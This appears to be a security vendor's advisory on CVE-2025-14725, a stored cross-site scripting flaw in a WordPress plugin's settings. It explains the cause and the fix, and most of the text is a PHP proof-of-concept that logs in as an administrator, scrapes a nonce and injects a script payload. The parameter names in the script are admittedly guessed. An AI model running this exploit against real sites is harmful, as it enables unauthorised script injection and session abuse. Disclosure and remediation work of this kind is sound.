Atomic Edge analysis of CVE-2025-14725 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Internal Link Builder WordPress plugin version 1.0. The vulnerability exists within the plugin’s admin settings functionality, allowing attackers with administrator-level access to inject malicious scripts that persist and execute for other users. The CVSS score of 4.4 reflects a moderate severity, constrained by the high attack complexity and the requirement for administrator privileges.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by CWE-79. The vulnerability description confirms a lack of proper neutralization for user-supplied input within the plugin’s settings. Since no source code diff is available, this conclusion is based on the CWE classification and the standard WordPress security model where plugin settings often use `update_option` without adequate `sanitize_*` functions or `esc_*` functions during display.
Exploitation requires an attacker to have an administrator account on the WordPress site. The attacker would navigate to the plugin’s settings page, likely located at `/wp-admin/options-general.php?page=internal-link-builder` or a similar admin menu. They would then submit a malicious payload within a vulnerable setting field. A typical payload would be `alert(document.domain)` or a more advanced script to steal session cookies. The injected script stores in the WordPress database via `update_option` and executes when any user with appropriate access loads the affected admin page.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize all user input destined for the database using functions like `sanitize_text_field` or `wp_kses` before saving with `update_option`. Additionally, any output of these settings values in the admin area must use escaping functions like `esc_html` or `esc_attr` depending on context. A proper capability check should also be confirmed, though the vulnerability description indicates it already targets administrator roles.
The impact of successful exploitation is limited by the administrator prerequisite and the condition that `unfiltered_html` is disabled. An attacker who compromises an administrator account could perform actions within the victim’s browser session, such as creating new administrative users, modifying site content, or injecting backdoors. In a multisite network, a super administrator could potentially attack other sites within the network. This vulnerability enables privilege persistence and lateral movement within the WordPress admin interface.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14725 - Internal Link Builder <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin's Settings
<?php
/*
* Proof of Concept for CVE-2025-14725.
* This script simulates an authenticated administrator exploiting the stored XSS vulnerability
* in the Internal Link Builder plugin's settings.
* ASSUMPTIONS:
* 1. The target URL has the Internal Link Builder plugin v1.0 installed.
* 2. Valid administrator credentials are known (set in $admin_user, $admin_pass).
* 3. The plugin's settings page accepts unsanitized input and reflects it without escaping.
* 4. The exact setting parameter name is unknown; 'ilb_settings' is a plausible guess.
*/
$target_url = 'http://target-site.com'; // CHANGE THIS
$admin_user = 'admin'; // CHANGE THIS
$admin_pass = 'password'; // CHANGE THIS
// Payload to inject. This will trigger an alert box showing the domain.
$xss_payload = '<script>alert(`XSS: ${document.domain}`)</script>';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress admin
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $admin_user,
'pwd' => $admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check for login success by looking for dashboard redirect or absence of login form
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('[-] Authentication failed. Check credentials.');
}
echo '[+] Authentication successful. Cookies stored.n';
// Step 2: Attempt to locate and submit to the plugin's settings page.
// The exact settings page slug is unknown; common patterns are used.
$possible_settings_pages = [
'/wp-admin/options-general.php?page=internal-link-builder',
'/wp-admin/admin.php?page=internal-link-builder',
'/wp-admin/admin.php?page=internal_link_builder'
];
$exploit_success = false;
foreach ($possible_settings_pages as $settings_page) {
$settings_url = $target_url . $settings_page;
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$settings_page_html = curl_exec($ch);
// Look for a nonce field in the form. Assume the nonce field name contains 'nonce'.
if (preg_match('/name="([^"]*nonce[^"]*)" value="([^"]+)"/', $settings_page_html, $nonce_matches)) {
$nonce_name = $nonce_matches[1];
$nonce_value = $nonce_matches[2];
echo '[+] Found nonce: ' . $nonce_name . ' = ' . $nonce_value . 'n';
// Assume the form submits via POST to admin-post.php or options.php.
// Also assume a parameter named 'ilb_settings' or similar holds the settings array.
$submit_url = $target_url . '/wp-admin/options.php';
$exploit_fields = [
$nonce_name => $nonce_value,
'option_page' => 'internal_link_builder', // Guessed option group
'action' => 'update',
'ilb_settings' => serialize(['vulnerable_field' => $xss_payload]) // Guessed parameter
];
curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$submit_response = curl_exec($ch);
if (strpos($submit_response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) == 302) {
echo '[+] Payload likely injected via ' . $settings_page . '.n';
echo '[+] Visit the plugin settings page to trigger the XSS.n';
$exploit_success = true;
break;
}
}
}
if (!$exploit_success) {
echo '[-] Could not identify the vulnerable settings form. The page structure may differ.n';
}
curl_close($ch);
?>
